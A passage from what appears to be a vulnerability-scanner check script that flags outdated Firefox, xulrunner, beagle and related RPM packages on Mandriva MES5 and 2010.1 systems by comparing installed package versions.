rpm:\"firefox-gl~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-gu_IN\", rpm:\"firefox-gu_IN~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-he\", rpm:\"firefox-he~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-hi\", rpm:\"firefox-hi~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-hu\", rpm:\"firefox-hu~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-id\", rpm:\"firefox-id~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-is\", rpm:\"firefox-is~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-it\", rpm:\"firefox-it~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ja\", rpm:\"firefox-ja~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ka\", rpm:\"firefox-ka~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-kn\", rpm:\"firefox-kn~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ko\", rpm:\"firefox-ko~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ku\", rpm:\"firefox-ku~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-lt\", rpm:\"firefox-lt~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-lv\", rpm:\"firefox-lv~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-mk\", rpm:\"firefox-mk~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-mr\", rpm:\"firefox-mr~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nb_NO\", rpm:\"firefox-nb_NO~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nl\", rpm:\"firefox-nl~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nn_NO\", rpm:\"firefox-nn_NO~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-oc\", rpm:\"firefox-oc~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pa_IN\", rpm:\"firefox-pa_IN~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pl\", rpm:\"firefox-pl~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pt_BR\", rpm:\"firefox-pt_BR~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pt_PT\", rpm:\"firefox-pt_PT~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ro\", rpm:\"firefox-ro~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ru\", rpm:\"firefox-ru~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-si\", rpm:\"firefox-si~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sk\", rpm:\"firefox-sk~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sl\", rpm:\"firefox-sl~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sq\", rpm:\"firefox-sq~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sr\", rpm:\"firefox-sr~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sv_SE\", rpm:\"firefox-sv_SE~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-te\", rpm:\"firefox-te~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-th\", rpm:\"firefox-th~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-tr\", rpm:\"firefox-tr~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-uk\", rpm:\"firefox-uk~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-zh_CN\", rpm:\"firefox-zh_CN~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-zh_TW\", rpm:\"firefox-zh_TW~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-extras\", rpm:\"gnome-python-extras~2.19.1~20.29mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gda\", rpm:\"gnome-python-gda~2.19.1~20.29mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gda-devel\", rpm:\"gnome-python-gda-devel~2.19.1~20.29mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gdl\", rpm:\"gnome-python-gdl~2.19.1~20.29mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkhtml2\", rpm:\"gnome-python-gtkhtml2~2.19.1~20.29mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkmozembed\", rpm:\"gnome-python-gtkmozembed~2.19.1~20.29mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkspell\", rpm:\"gnome-python-gtkspell~2.19.1~20.29mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libxulrunner1.9.2.20\", rpm:\"libxulrunner1.9.2.20~1.9.2.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libxulrunner-devel\", rpm:\"libxulrunner-devel~1.9.2.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"xulrunner\", rpm:\"xulrunner~1.9.2.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"yelp\", rpm:\"yelp~2.24.0~3.30mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-l10n\", rpm:\"firefox-l10n~3.6.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64xulrunner1.9.2.20\", rpm:\"lib64xulrunner1.9.2.20~1.9.2.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64xulrunner-devel\", rpm:\"lib64xulrunner-devel~1.9.2.20~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n\n\nif(release == \"MNDK_2010.1\")\n{\n\n if ((res = isrpmvuln(pkg:\"beagle\", rpm:\"beagle~0.3.9~40.17mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-crawl-system\", rpm:\"beagle-crawl-system~0.3.9~40.17mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-doc\", rpm:\"beagle-doc~0.3.9~40.17mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-evolution\", rpm:\"beagle-evolution~0.3.9~40.17mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-gui\", rpm:\"beagle-gui~0.3.9~40.17mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-gui-qt\", rpm:\"beagle-gui-qt~0.3.9~40.17mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-libs\", rpm:\"beagle-libs~0.3.9~40.17mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox\", rpm:\"firefox~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-af\", rpm:\"firefox-af~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ar\", rpm:\"firefox-ar~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-be\", rpm:\"firefox-be~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-bg\", rpm:\"firefox-bg~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-bn\", rpm:\"firefox-bn~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ca\", rpm:\"firefox-ca~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-cs\", rpm:\"firefox-cs~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-cy\", rpm:\"firefox-cy~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-da\", rpm:\"firefox-da~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-de\", rpm:\"firefox-de~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-devel\", rpm:\"firefox-devel~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-el\", rpm:\"firefox-el~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-en_GB\", rpm:\"firefox-en_GB~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-eo\", rpm:\"firefox-eo~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-es_AR\", rpm:\"firefox-es_AR~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-es_ES\", rpm:\"firefox-es_ES~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-et\", rpm:\"firefox-et~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-eu\", rpm:\"firefox-eu~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-beagle\", rpm:\"firefox-ext-beagle~0.3.9~40.17mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-blogrovr\", rpm:\"firefox-ext-blogrovr~1.1.804~13.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-mozvoikko\", rpm:\"firefox-ext-mozvoikko~1.0.1~2.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-r-kiosk\", rpm:\"firefox-ext-r-kiosk~0.8.1~2.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-scribefire\", rpm:\"firefox-ext-scribefire~3.5.2~2.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-weave-sync\", rpm:\"firefox-ext-weave-sync~1.1~5.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-xmarks\", rpm:\"firefox-ext-xmarks~3.6.14~2.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fi\", rpm:\"firefox-fi~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fr\", rpm:\"firefox-fr~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fy\", rpm:\"firefox-fy~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ga_IE\", rpm:\"firefox-ga_IE~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-gl\", rpm:\"firefox-gl~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-gu_IN\", rpm:\"firefox-gu_IN~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-he\", rpm:\"firefox-he~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-hi\", rpm:\"firefox-hi~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-hu\", rpm:\"firefox-hu~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-id\", rpm:\"firefox-id~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-is\", rpm:\"firefox-is~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-it\", rpm:\"firefox-it~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ja\", rpm:\"firefox-ja~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ka\", rpm:\"firefox-ka~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-kn\", rpm:\"firefox-kn~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ko\", rpm:\"firefox-ko~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ku\", rpm:\"firefox-ku~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-lt\", rpm:\"firefox-lt~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-lv\", rpm:\"firefox-lv~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-mk\", rpm:\"firefox-mk~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-mr\", rpm:\"firefox-mr~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nb_NO\", rpm:\"firefox-nb_NO~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nl\", rpm:\"firefox-nl~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nn_NO\", rpm:\"firefox-nn_NO~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-oc\", rpm:\"firefox-oc~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pa_IN\", rpm:\"firefox-pa_IN~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pl\", rpm:\"firefox-pl~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pt_BR\", rpm:\"firefox-pt_BR~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pt_PT\", rpm:\"firefox-pt_PT~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ro\", rpm:\"firefox-ro~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ru\", rpm:\"firefox-ru~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-si\", rpm:\"firefox-si~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sk\", rpm:\"firefox-sk~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sl\", rpm:\"firefox-sl~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sq\", rpm:\"firefox-sq~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sr\", rpm:\"firefox-sr~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sv_SE\", rpm:\"firefox-sv_SE~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-te\", rpm:\"firefox-te~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-th\", rpm:\"firefox-th~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-tr\", rpm:\"firefox-tr~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-uk\", rpm:\"firefox-uk~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-zh_CN\", rpm:\"firefox-zh_CN~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-zh_TW\", rpm:\"firefox-zh_TW~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gjs\", rpm:\"gjs~0.6~4.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-extras\", rpm:\"gnome-python-extras~2.25.3~18.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gda\", rpm:\"gnome-python-gda~2.25.3~18.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gda-devel\", rpm:\"gnome-python-gda-devel~2.25.3~18.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gdl\", rpm:\"gnome-python-gdl~2.25.3~18.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkhtml2\", rpm:\"gnome-python-gtkhtml2~2.25.3~18.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkmozembed\", rpm:\"gnome-python-gtkmozembed~2.25.3~18.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkspell\", rpm:\"gnome-python-gtkspell~2.25.3~18.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n 